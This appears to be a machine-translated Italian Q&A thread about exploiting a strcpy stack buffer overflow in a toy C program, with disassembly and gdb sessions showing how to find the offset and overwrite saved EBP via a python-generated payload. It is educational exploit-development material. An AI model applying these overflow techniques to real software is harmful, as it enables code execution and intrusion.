Come sovrascrivere ebp sull'allineamento dello stack?

3

Voglio sfruttare un semplice programma

#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
    char buf[128];
    strcpy(buf, argv[1]);
    return 0;
}

Lo smontaggio di main:

push %ebp
mov %esp, %ebp
and $0xfffffff0, %esp
... (and the rest follows)

La mia domanda è che da quando gli ultimi 4 byte di esp diventano nulli, la posizione effettiva di ebp rispetto all'indirizzo di partenza di buf [] diventa RANDOM. Quindi, come faccio a sapere esattamente dopo aver spinto quanti personaggi dovrei raggiungere ebp? & buf [0] sul mio computer mostra 0x2c (% esp) e il frame dello stack occupa 0xb0 byte. Ma solo con questa informazione "fissa", come posso raggiungere ebp? Rimane un elemento mancante ... il contenuto iniziale di esp. Per favore aiutami a sfruttare questo programma di base.

    
posta user257330 23.06.2015 - 18:29
fonte

2 risposte

1

Ho scritto quel codice esatto in un file overflow.c e ho ottenuto il seguente main() . Ho smontato con objdump --disassemble overflow

0804846d <main>:
 804846d:       55                      push   %ebp
 804846e:       89 e5                   mov    %esp,%ebp
 8048470:       83 e4 f0                and    $0xfffffff0,%esp
 8048473:       81 ec a0 00 00 00       sub    $0xa0,%esp
 8048479:       8b 45 0c                mov    0xc(%ebp),%eax
 804847c:       89 44 24 0c             mov    %eax,0xc(%esp)
 8048480:       65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048486:       89 84 24 9c 00 00 00    mov    %eax,0x9c(%esp)
 804848d:       31 c0                   xor    %eax,%eax
 804848f:       8b 44 24 0c             mov    0xc(%esp),%eax
 8048493:       83 c0 04                add    $0x4,%eax
 8048496:       8b 00                   mov    (%eax),%eax
 8048498:       89 44 24 04             mov    %eax,0x4(%esp)
 804849c:       8d 44 24 1c             lea    0x1c(%esp),%eax
 80484a0:       89 04 24                mov    %eax,(%esp)
 80484a3:       e8 98 fe ff ff          call   8048340 <strcpy@plt>
 80484a8:       b8 00 00 00 00          mov    $0x0,%eax
 80484ad:       8b 94 24 9c 00 00 00    mov    0x9c(%esp),%edx
 80484b4:       65 33 15 14 00 00 00    xor    %gs:0x14,%edx
 80484bb:       74 05                   je     80484c2 <main+0x55>
 80484bd:       e8 6e fe ff ff          call   8048330 <__stack_chk_fail@plt>
 80484c2:       c9                      leave  
 80484c3:       c3                      ret   

Purtroppo non penso che ci sia un modo per farti sapere quanto lo stack sarà allineato a quel punto. Sai che non sarà più di 16 byte. Una soluzione sporca sarebbe scrivere i byte 0x84 per raggiungere la sezione di allineamento. Quindi scrivi il valore di 4 byte che vuoi sovrascrivere EBP e / o l'indirizzo di ritorno con 6 volte. Ciò inoltre distruggerebbe completamente lo stack se l'allineamento fosse inferiore a 16 byte. Ma se guadagni l'esecuzione potresti correggerlo fino allo stato di funzionamento nel tuo shellcode.

Per andare un po 'oltre, eseguiamo questa stessa operazione in una funzione diversa. Quale sarebbe molto più probabile di uno scenario rispetto a main() . Quindi ora abbiamo il seguente:

  1 #include <stdio.h>
  2 #include <string.h>
  3 
  4 int function(char **argv) {
  5     char buf[128];
  6 
  7     strcpy(buf, argv[1]);
  8 
  9     return 0;
 10 }
 11 
 12 int main(int argc, char **argv) {
 13     return function(argv);
 14 }

Che smonta a:

0804846d <function>:
 804846d:       55                      push   %ebp
 804846e:       89 e5                   mov    %esp,%ebp
 8048470:       81 ec a8 00 00 00       sub    $0xa8,%esp
 8048476:       8b 45 08                mov    0x8(%ebp),%eax
 8048479:       89 85 64 ff ff ff       mov    %eax,-0x9c(%ebp)
 804847f:       65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048485:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048488:       31 c0                   xor    %eax,%eax
 804848a:       8b 85 64 ff ff ff       mov    -0x9c(%ebp),%eax
 8048490:       83 c0 04                add    $0x4,%eax
 8048493:       8b 00                   mov    (%eax),%eax
 8048495:       89 44 24 04             mov    %eax,0x4(%esp)
 8048499:       8d 85 74 ff ff ff       lea    -0x8c(%ebp),%eax
 804849f:       89 04 24                mov    %eax,(%esp)
 80484a2:       e8 99 fe ff ff          call   8048340 <strcpy@plt>
 80484a7:       b8 00 00 00 00          mov    $0x0,%eax
 80484ac:       8b 55 f4                mov    -0xc(%ebp),%edx
 80484af:       65 33 15 14 00 00 00    xor    %gs:0x14,%edx
 80484b6:       74 05                   je     80484bd <function+0x50>
 80484b8:       e8 73 fe ff ff          call   8048330 <__stack_chk_fail@plt>
 80484bd:       c9                      leave  
 80484be:       c3                      ret

Dato che non si tratta di una funzione principale, non c'è quella fastidiosa operazione and esp, 0xfffffff0 . Puoi eseguire la tua sottrazione proprio come normalmente ti saresti aspettato.

Spero che questo risponda alla tua domanda.

    
risposta data 24.06.2015 - 21:18
fonte
0

Non so se capisco bene, cosa vuoi. Fammi sapere se lo capisco male. Presumo che tu voglia sovrascrivere EBP con il tuo valore. Uno dei modi, come farlo, è trovare, dove iniziare il buffer e ottenere il suo indirizzo. Quindi nel buffer di riempimento del debugger con un carico utile di "A" come -

run AAAAAAAA

Imposta il punto di interruzione dopo aver chiamato la funzione strcpy (). L'ho impostato sull'istruzione leave, quindi controllo, da dove inizia il buffer (buf).

0xbfffef30: 0x41414141 0x41414141 0xbfffef60 0x0804823d

In questo caso, significa che il nostro buffer inizia all'indirizzo 0xbfffef30 . Con questa informazione, prendi questo indirizzo e sottrai da $ ebp (perché come sappiamo, EBP si trova nella parte inferiore del frame attuale, significa = indirizzo superiore)

(gdb) p $ebp - 0xbfffef30

$1 = (void *) 0x88

(gdb) p 0x88

$2 = 136

Ora i prossimi 4 byte sovrascriveranno il nostro puntatore del frame salvato.

(gdb) run python -c 'print "A" * 136 + "B" * 4'

Non dimenticare di impostare nuovamente il punto di interruzione. Dopo, puoi vedere, riscriviamo EBP con il nostro valore. In questo caso con 'BBBB'.

(gdb) i r ebp

ebp 0x42424242 0x42424242

Forse sai, cosa sovrascriveresti con i prossimi 4 byte - indirizzo di ritorno.

    
risposta data 24.06.2015 - 01:20
fonte

Leggi altre domande sui tag